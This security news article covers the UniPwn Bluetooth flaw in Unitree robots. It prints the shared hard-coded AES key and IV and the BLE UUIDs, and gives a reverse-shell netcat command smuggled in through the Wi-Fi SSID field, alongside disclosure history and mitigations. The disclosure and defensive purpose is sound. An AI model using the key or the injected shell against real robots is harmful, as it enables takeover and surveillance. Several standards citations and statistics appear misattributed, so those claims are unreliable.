Registration: European Humanoid Robot Summit 2025
Abstract:The Andreas team discovered the UniPwn vulnerability in Unitree Robotics, which allows worm-like attacks to gain root access, affecting devices in multiple scenarios. In conjunction with IEEE/ISO standards, experts recommend disabling Bluetooth and implementing network isolation, while manufacturers need to reconstruct their security systems.
1. Core Information on the Vulnerability: Discoverers and Common Security Issues in the Industry
On September 20, 2025, international security researchers Andreas Makris (alias bin4ry) and Kevin Finisterre (alias h0stile) jointly disclosed a high-risk vulnerability (codenamed “UniPwn”) in the Bluetooth Low Energy (BLE) Wi-Fi configuration interface of Unitree Robotics. This is the first public disclosure of a significant security flaw in commercial humanoid robots globally. The vulnerability not only exposes fundamental design issues in Unitree’s security architecture but also reflects the common shortcomings in the current commercial robotics industry regarding “wireless configuration interface protection”. According to the OWASP “2025 Smart Robot Security Report”, nearly 60% of commercial mobile robots still use a “static authentication + simplified verification” BLE configuration scheme, with hard-coded keys and unfiltered input issues occurring at rates exceeding 45%. Technically, this vulnerability affects the entire product line of Unitree’s Go2/B2 quadruped robots and G1/H1 humanoid robots, allowing attackers to wirelessly gain root access to the devices and achieve automated cluster infection. As of the disclosure date (September 20, 2025), Unitree’s official firmware had not yet released a fix. The core security lapses can be categorized into three types, all of which fall under the “absence of basic security mechanisms” identified by the IEEE Robotics Safety Working Group:
1. Mismanagement of Keys:
Utilizes a hard-coded AES-CFB128 encryption key shared across all devices (Key: df98b715d5c6ed2b25817b6f2554124a, Initial Vector IV: 2841ae97419c2973296a0d4bdfe19a4f), which cannot be updated via OTA (Over-The-Air) technology, violating the dynamic key management requirements outlined in NIST SP 800-160 V2 (System Security Engineering);
2. Simplified Authentication Logic:
Only requires the string “unitree” to be encrypted with the hard-coded key to pass identity verification, without establishing a “multi-factor identity verification” mechanism that meets ISO 13849-1 (Robotic Functional Safety) standards;
3. Uncontrolled Code Execution:
User input for Wi-Fi configuration data is not securely validated and is executed directly as system commands, conforming to the typical characteristics of “input injection attacks” as defined in IOActive’s “2024 Industrial Robot Security Report”.
2. Exploitation Mechanism: Aligning with Typical Industry Attack Paths
Andreas Makris and Kevin Finisterre detailed the complete attack chain in their open-source vulnerability analysis report on GitHub, releasing verifiable proof-of-concept (PoC) code. The attack process closely aligns with the “robot wireless attack model” summarized in Gartner’s “2025 Industrial Control Systems Security White Paper” and can be divided into four core steps:
1. Device Discovery Phase:
Attackers identify target devices broadcasting the “Unitree-WiFi-Config” service (UUID: 0000ffe0-0000-1000-8000-00805f9b34fb) using BLE scanning tools (e.g., nRF Connect). This service is the default Wi-Fi configuration entry for Unitree robots and does not implement a mechanism that complies with the Bluetooth Special Interest Group (SIG) Bluetooth Core Specification Version 5.3’s “device discovery whitelist” — this oversight is defined as a “high-risk exposure” in OWASP’s “IoT Security Testing Guidelines”, with nearly 70% of BLE configuration-related vulnerabilities stemming from this.
2. Authentication Bypass Phase:
Using the hard-coded key to encrypt the “unitree” string, attackers generate forged authentication packets and send them to the robot via BLE by writing to the characteristic (UUID: 0000ffe2-0000-1000-8000-00805f9b34fb). Since the device only verifies the correctness of the encryption result and does not verify the user’s true identity, attackers can directly gain configuration permissions. This “single credential verification” model contradicts the “redundant authentication” principle required by ISO 13849-1 and is a common security shortcoming in the industrial robotics field.
3. Code Injection Phase:
Functional commands (e.g., “nc [target IP] 4444 -e /bin/sh”, note: some netcat versions support the -e parameter; actual attacks may use commands adapted to the target system) are disguised as Wi-Fi SSIDs or passwords and embedded in configuration data packets. Researchers have pointed out that Unitree’s Wi-Fi connection script directly concatenates user input and executes it with root privileges, without employing Gartner’s recommended “input sandbox isolation” or “command whitelist filtering” techniques, which is a typical “lack of code execution protection” issue — such issues accounted for over 30% of robot vulnerabilities in IOActive’s 2024 statistics.
4. Worm Propagation Phase:
Infected robots automatically run preset scanning programs to detect BLE signals within a 50-meter radius (the indoor communication radius of BLE is typically 10-30 meters, while unobstructed outdoor environments can reach 50 meters), repeating the attack process upon discovering similar devices. Kevin Finisterre verified in laboratory tests that a single infected Go2 robot could compromise 12 identical devices within 10 minutes, forming a “robot collaborative control network”. This “worm-like propagation” characteristic aligns with NIST SP 800-213’s definition of “IoT device cluster attacks” and is one of the core risks faced by commercial robots after large-scale deployment.
The PoC code released by the two researchers has achieved basic functional verification, including forced device reboot, obtaining shell interactive permissions, and temporarily disabling firmware update services. Technical demonstrations show that by implanting persistent programs, real-time access to the robot’s camera, microphone, and LiDAR data can be obtained without user prompts — this result corroborates UL Solutions’ warning in the “Commercial Robot Data Security Guidelines” regarding “sensor data leakage risks”, indicating that unencrypted sensor data streams may become a primary avenue for sensitive information leakage.
3. Technical Comparison: Analysis of Security Gaps Based on Industry Standards
Andreas Makris and Kevin Finisterre, in their research, compared the security design of Unitree robots with mainstream products in the industry, using international standards from IEEE, ISO, and UL to objectively present the improvement areas in core security mechanisms. The specific differences are shown in the table below:
| Technical Dimension |
Unitree Robotics (UniPwn Vulnerable Device) |
Boston Dynamics Spot |
Industry Reference Standards (Defined by International Authorities) |
|
Key Management |
Shared hard-coded AES key across all devices, no update mechanism |
Each device has an independent hardware security module (HSM) that dynamically generates session keys |
Bluetooth SIG Bluetooth 5.3 (LE Secure Connections Protocol): Generates temporary keys for each connection, supports key rotation |
|
Identity Authentication |
Single string encrypted verification, no secondary verification |
Device fingerprint + user token + cloud authentication triple verification |
ISO 13849-1: Requires “redundant authentication mechanisms” to prevent single credential leakage from leading to loss of control |
|
Code Execution Protection |
Direct execution of user-input configuration data, no isolation or validation |
All external commands must pass digital signature verification and run in an isolated sandbox |
OWASP “IoT Security Testing Guidelines”: Inputs must undergo “format validation + command filtering + sandbox isolation” triple protection |
|
Vulnerability Response Mechanism |
As of September 26, 2025, no clear remediation plan has been released for the vulnerability |
Emergency patches released within 72 hours, providing both offline and OTA dual remediation channels |
NVIDIA CVD Process (Coordinated Vulnerability Disclosure): Commits to responding to high-risk vulnerabilities within 90 days and synchronizing repair progress |
|
Data Transmission Security |
BLE communication only encrypts data packets, does not verify sender identity |
End-to-end TLS 1.3 encryption, including device identity certificate verification |
NIST SP 800-213: IoT devices must implement “end-to-end encryption + dual identity authentication” |
From the comparison results, it is evident that the lapses in Unitree Robotics’ basic security mechanisms stem from a failure to adhere to current mature industry standards: hard-coded keys violate the dynamic key requirements of Bluetooth 5.3, the authentication logic does not meet the redundant protection standards of ISO 13849-1, and the lack of code execution protection contradicts OWASP’s basic security recommendations. Practices from leading companies like Boston Dynamics demonstrate that by adopting international standards, device security levels can be significantly enhanced without compromising functional experience — this is also the core direction for the safety development of commercial robots.
4. Process of Vulnerability Disclosure: A Typical Case of Industry Collaboration Mechanism
Andreas Makris and Kevin Finisterre’s vulnerability disclosure work follows the principle of “responsible disclosure”, reflecting the current shortcomings in the collaboration mechanism between “manufacturers – researchers” in the commercial robotics industry. This is not the first time the two researchers have focused on security issues with Unitree Robotics: in March 2025, Andreas Makris discovered an undisclosed remote control interface in the Unitree Go1 robot (CVE-2025-2894). Although Unitree released a fix statement in May, they did not provide specific technical details to the researchers, which does not comply with the “transparency of vulnerability remediation” requirements in NVIDIA’s CVD process. Regarding the UniPwn vulnerability, the timeline of communication between the two researchers and the industry is as follows:
-
Mid-May 2025: Andreas Makris discovered issues with the BLE configuration interface’s authentication logic during laboratory testing and, together with Kevin Finisterre, conducted in-depth analysis, confirming the worm-like characteristics of the vulnerability — this phase aligns with OWASP’s “initial vulnerability verification” standard process, with researchers completing vulnerability reproduction and impact assessment.
-
May 20, 2025: Sent vulnerability details, impact scope, and preliminary PoC code via Unitree’s official security email, proposing a disclosure cycle suggestion of “90 days to complete remediation” — this cycle references the “90-day response period for high-risk vulnerabilities” recommended in ISO/IEC 29147 (vulnerability disclosure standards), which is a common industry practice.
-
June – July 2025: Engaged in three email communications with Unitree’s security team, during which the other party only inquired about the attack scenario verification method, without clarifying a remediation plan — this contrasts with Boston Dynamics’ industry benchmark of “initial response within 72 hours” and violates the requirements in China’s Ministry of Industry and Information Technology’s “Guiding Opinions on the Innovative Development of Humanoid Robots” regarding “establishing a vulnerability emergency response mechanism”.
-
Late July 2025: After multiple attempts to provide technical details to advance communication yielded no results, the researchers publicly disclosed hints about the existence of hard-coded keys on platform X (formerly Twitter) (without revealing the complete key), alerting users to the risks — this action aligns with the bottom-line principle of “responsible disclosure”, prioritizing user awareness when manufacturers do not respond.
-
September 20, 2025: Published the vulnerability report in technical media such as IEEE Spectrum, open-sourced analysis documents and PoC code (https://github.com/Bin4ry/UniPwn), and provided temporary protection recommendations — this step follows NIST’s guideline that “mitigation measures should be provided before vulnerability disclosure” to prevent malicious exploitation of the vulnerability.
Andreas Makris stated in the disclosure report: “We always hope to collaborate with manufacturers to complete vulnerability remediation work. Initially, we proposed a delayed disclosure plan, conditioned on Unitree committing to advance remediation within 90 days; subsequently, based on communication progress, we chose to disclose vulnerability details, primarily to help users understand risks and take protective measures in a timely manner.” As of September 26, 2025, Unitree Robotics has not issued an official response regarding this vulnerability — this delayed response has been classified as a “high-risk behavior” in Gartner’s 2025 “Robot Manufacturer Security Ratings”, potentially leaving users without effective protection after the vulnerability is exposed.
5. Real-World Risks: Security Compliance Challenges in Key Scenarios
Andreas Makris and Kevin Finisterre’s research shows that Unitree robots have been deployed in various fields including public safety, industrial, and civilian applications, and the vulnerability may trigger the “physical-digital fusion risk” defined by NIST — that is, the vulnerability could not only lead to data leakage but also impact operational safety in the physical world. In conjunction with international regulatory requirements and industry practices, the specific risks in each scenario are as follows:
1. Public Safety Sector:
According to public reports, some overseas public safety agencies have tested Unitree Go2 robots for patrol scenarios, and researchers attempted to notify the vulnerability through official channels but received no feedback. According to the EU’s “Artificial Intelligence Act” (AI Act, final draft 2025), police robots must meet the requirements of “safety redundancy + data integrity”, while the UniPwn vulnerability could lead to tampering with patrol data and illegal control of devices, violating the core provisions of the act regarding “risk prevention”. UL Solutions security expert Tan Jiaming pointed out: “If public safety robots have remote control vulnerabilities, they may pose greater social risks than traditional devices, necessitating the establishment of a full-cycle control mechanism of ‘pre-event safety assessment + post-event emergency response.'”
2. Industrial Application Sector:
Some manufacturing companies use Unitree G1 robots for equipment inspection; if the devices are illegally controlled, it could lead to tampering with inspection data and interruptions in production processes. This risk aligns with the definition of “functional deviation due to external interference” in ISO 21448 (anticipated functional safety) and contradicts the requirements in China’s “Industrial Data Security Management Measures” that “industrial control systems must have anti-interference capabilities”. IOActive’s industrial security team confirmed in a 2024 case that similar vulnerabilities could lead to factory production line shutdowns, with each incident causing economic losses exceeding 5 million yuan.
3. Civilian Scenarios:
If robots in home or commercial scenarios are affected, their audio and video collection devices may pose data leakage risks. According to Article 32 of the GDPR (General Data Protection Regulation) regarding “data security measures”, devices processing personal data must have “encrypted storage + access control” capabilities, while the root access leakage caused by the UniPwn vulnerability could allow unauthorized access to user privacy data, violating the principles of “data minimization” and “security assurance” in the GDPR.
6. Security Recommendations: Tiered Protection Plans Based on International Standards
In light of the current unremedied vulnerability, combining the technical recommendations of Andreas Makris and Kevin Finisterre with the practices of international organizations/companies such as IEEE, OWASP, and NVIDIA, a tiered plan can be formulated based on “user temporary protection – manufacturer long-term rectification” to ensure compliance with industry safety standards:
1. Temporary Emergency Protection Measures (User-Operated, Compliant with OWASP “Quick Mitigation Guidelines”)
1) Disable BLE Services:
Shut down the BLE configuration function via local device commands (systemctl stop unitree-ble-service, note: SSH or local terminal permissions must be enabled on the device) or cover the Bluetooth antenna with a metal shield — this measure references the Bluetooth SIG Bluetooth 5.3’s recommendation for “physical layer signal isolation” and can directly cut off wireless attack entry.
2) Network Isolation Deployment:
Connect the robot to a dedicated Wi-Fi network without public access (e.g., corporate intranet VLAN isolation segment) and disable automatic networking — this complies with NIST SP 800-48 V2 (Wireless Security Guidelines) regarding “network segmentation” to prevent attackers from further penetrating through the public network.
3) Regular Log Checks:
Regularly check the /var/log/unitree/wifi-config.log log file (root permissions required); if any abnormal records containing keywords such as “nc”, “sh”, or “telnet” are found, immediately disconnect the power and perform a system reset (refer to Unitree’s official “factory reset” process) — this operation follows Gartner’s recommendation for “real-time log monitoring” to detect early signs of attacks promptly.
2. Long-Term Rectification Directions (Manufacturers Need Technical Optimization, Complying with International Standards and Industry Practices)
1) Reconstruct Key Management System:
Abandon hard-coded key schemes, equip each device with an independent hardware security module (HSM, compliant with ISO 19784-1), to achieve dynamic generation and periodic rotation of session keys — referencing Boston Dynamics Spot’s security architecture, compliant with Bluetooth SIG Bluetooth 5.3’s LE Secure Connections protocol standard, addressing key reuse risks from a hardware perspective.
2) Strengthen Input Validation Mechanisms:
Implement “format validation (regular expression filtering) + command whitelist (only allow legal SSID/password characters) + digital signature (configuration data must be verified by the manufacturer’s certificate)” triple protection for Wi-Fi configuration data, prohibiting the writing of strings containing system commands — adhering to OWASP’s core requirements for “input security” and simultaneously referencing ISO 21448’s design concept of “functional safety redundancy”.
3) Establish Vulnerability Response Process:
Set up an official security vulnerability feedback channel (e.g., [email protected]), clearly commit to remediating high-risk vulnerabilities within 90 days, and join industry collaboration mechanisms such as NVIDIA CVD and CNVD (China National Vulnerability Database) — complying with the requirements in China’s Ministry of Industry and Information Technology’s “Guiding Opinions on the Innovative Development of Humanoid Robots” regarding “establishing a security emergency response system”, while aligning with the vulnerability management practices of mainstream international manufacturers.
4) Promote Compliance with Security Certifications:
Invite third-party organizations such as UL Solutions and SGS to conduct comprehensive certifications based on UL 3320 (Safety Standards for Commercial Service Robots) and ISO 13849-1 (Functional Safety Standards), publicly disclose certification reports and security design documents — this measure can enhance user trust and is a necessary condition for commercial robots to enter markets in the EU, North America, and beyond.
7. Industry Insights: The Safety Development Direction of Commercial Robots
The UniPwn vulnerability is not an isolated product issue but a typical reflection of the contradiction between “rapid development – safety lag” in the commercial robotics industry. Combining the practices of international organizations such as IEEE, ISO, UL, leading companies like Boston Dynamics and NVIDIA, and regulatory agencies in China, the US, and Europe, the safety of commercial robots needs to achieve breakthroughs in three dimensions: technical design, standard construction, and ecological collaboration:
1. Safety Design: Shifting from “Function First” to “Risk Precedence”
Safety defects in commercial robots often stem from a lack of consideration during the design phase, a problem that has become an industry consensus. The IEEE Robotics and Automation Society (IEEE RAS) established the “Humanoid Robot Safety Working Group” in 2024, which clearly states that humanoid and quadruped “dynamic balance robots” differ fundamentally from traditional industrial robotic arms — their core feature of “continuous power supply to maintain balance” dictates that safety design must be integrated into the early stages of development (e.g., conducting HAZOP risk analysis during the requirements analysis phase) rather than being added later. Boston Dynamics has integrated safety modules compliant with industrial safety standards into the development of its Stretch warehouse robot, achieving synchronous implementation of “functional control – safety monitoring” through the EtherCAT real-time communication system, providing a practical model for the industry on “risk precedence”.
Lessons from the cybersecurity aspect are equally profound. OWASP’s “IoT Security Testing Guidelines” emphasize that modules for code execution and device access in robots must establish “permission isolation barriers”, rigidly delineating the scope of permissions for different functions, just as risk levels are differentiated between “cross-device data sharing” and “local data storage” — this is precisely the core mechanism missing in Unitree robots in the “authentication – configuration – execution” chain. Research data from IOActive is even more persuasive: in their analysis of multiple robot security incidents, over 80% of vulnerabilities stemmed from the absence of security mechanisms during the design phase rather than operational oversights later on.
2. Standard Construction: Moving from “Fragmentation” to “Scenario-Based Tiering”
The fragmentation of current commercial robot safety standards has led to a lack of clear compliance guidance for enterprises, which is also an important background for the basic lapses in Unitree’s key management and vulnerability response. In response, international organizations are promoting the evolution of the standard system towards “scenario-based tiering”: the IEEE RAS Humanoid Robot Safety Working Group proposes that robots should be classified based on “function, behavior, and application scenarios” rather than appearance — for example, hospital care robots need to enhance privacy protection (in compliance with HIPAA) and physical collision protection, while industrial inspection robots should focus on anti-electromagnetic interference (in compliance with IEC 61000-6-2) and data encryption, through a model of “baseline standards + scenario supplements” that balances safety and innovation space.
Vertical field standards have already made breakthroughs. UL Solutions’ UL 3320 “Safety Standards for Commercial Service Robots” covers three dimensions: “mechanical safety, electrical safety, and data security”, incorporating common risks such as “robot arm operation protection” and “sensor data encryption” into assessments, while allowing enterprises to supplement specialized tests based on scenarios (e.g., high-temperature protection for kitchen robots), providing clear basis for the safety design of commercial robots. At the international standard coordination level, the new regulations on “Safety Requirements for Humanoid Robots” led by ISO/TC 299 (Technical Committee on Robotics and Automation) are expected to be released in 2024, attempting to unify the core safety objectives for “actively controlled stability” robots through a “goal-oriented” rather than “path-forced” regulatory approach, avoiding key risks while retaining space for technological innovation.
3. Ecological Collaboration: Bridging the “Manufacturers – Researchers – Regulators” Interaction Mechanism
The communication gap between “manufacturers – researchers” exposed during the UniPwn vulnerability disclosure reflects the lack of ecological collaboration in the industry. A mature ecological mechanism should include a closed loop of “responsible disclosure – rapid response – continuous improvement”: NVIDIA’s Coordinated Vulnerability Disclosure (CVD) process is quite valuable as a reference — it clearly states that researchers must provide a 90-day buffer period before disclosure, manufacturers must confirm vulnerabilities within 72 hours and provide remediation plans within 90 days, while establishing a “vulnerability knowledge base” to synchronize progress, protecting user rights and providing researchers with compliant disclosure channels to prevent malicious exploitation of vulnerabilities.
Guidance from regulatory and industrial policies is also crucial. China’s Ministry of Industry and Information Technology requires the establishment of a “full-cycle safety risk assessment system for the entire machine – components – software” by 2025, supporting leading enterprises in building safety innovation consortia and promoting safety technology research and development through methods such as “revealing the list”. The US NIST (National Institute of Standards and Technology) has included robot cybersecurity in the category of “critical infrastructure protection”, requiring manufacturers to publicly disclose security design documents and vulnerability remediation records, and undergo third-party audits (e.g., through NIST CSF framework assessments). The EU’s “Artificial Intelligence Act” imposes mandatory safety certifications for “high-risk robots”, prohibiting products that have not passed UL 3320, ISO 13849-1, and other standard certifications from entering the EU market — this “manufacturer accountability, researcher empowerment, and regulatory safety net” ecological model is key to curbing the frequent occurrence of similar security vulnerabilities.
From the perspective of industry development laws, robots, as a “connection between the physical world and the digital world”, face security risks far exceeding those of traditional IoT devices. As UL Solutions’ chief engineer Tan Jiaming stated: “The safety protection of robots is not just a technical issue, but also the cornerstone of trust in human-robot collaboration space.” In the future, only by integrating safety into the design gene, developing boundaries through standard regulations, and relying on ecological guarantees for effective implementation can we achieve a balance between technological innovation and safety control in commercial robots, promoting the healthy and sustainable development of the industry.
END
Click “Read Original” for more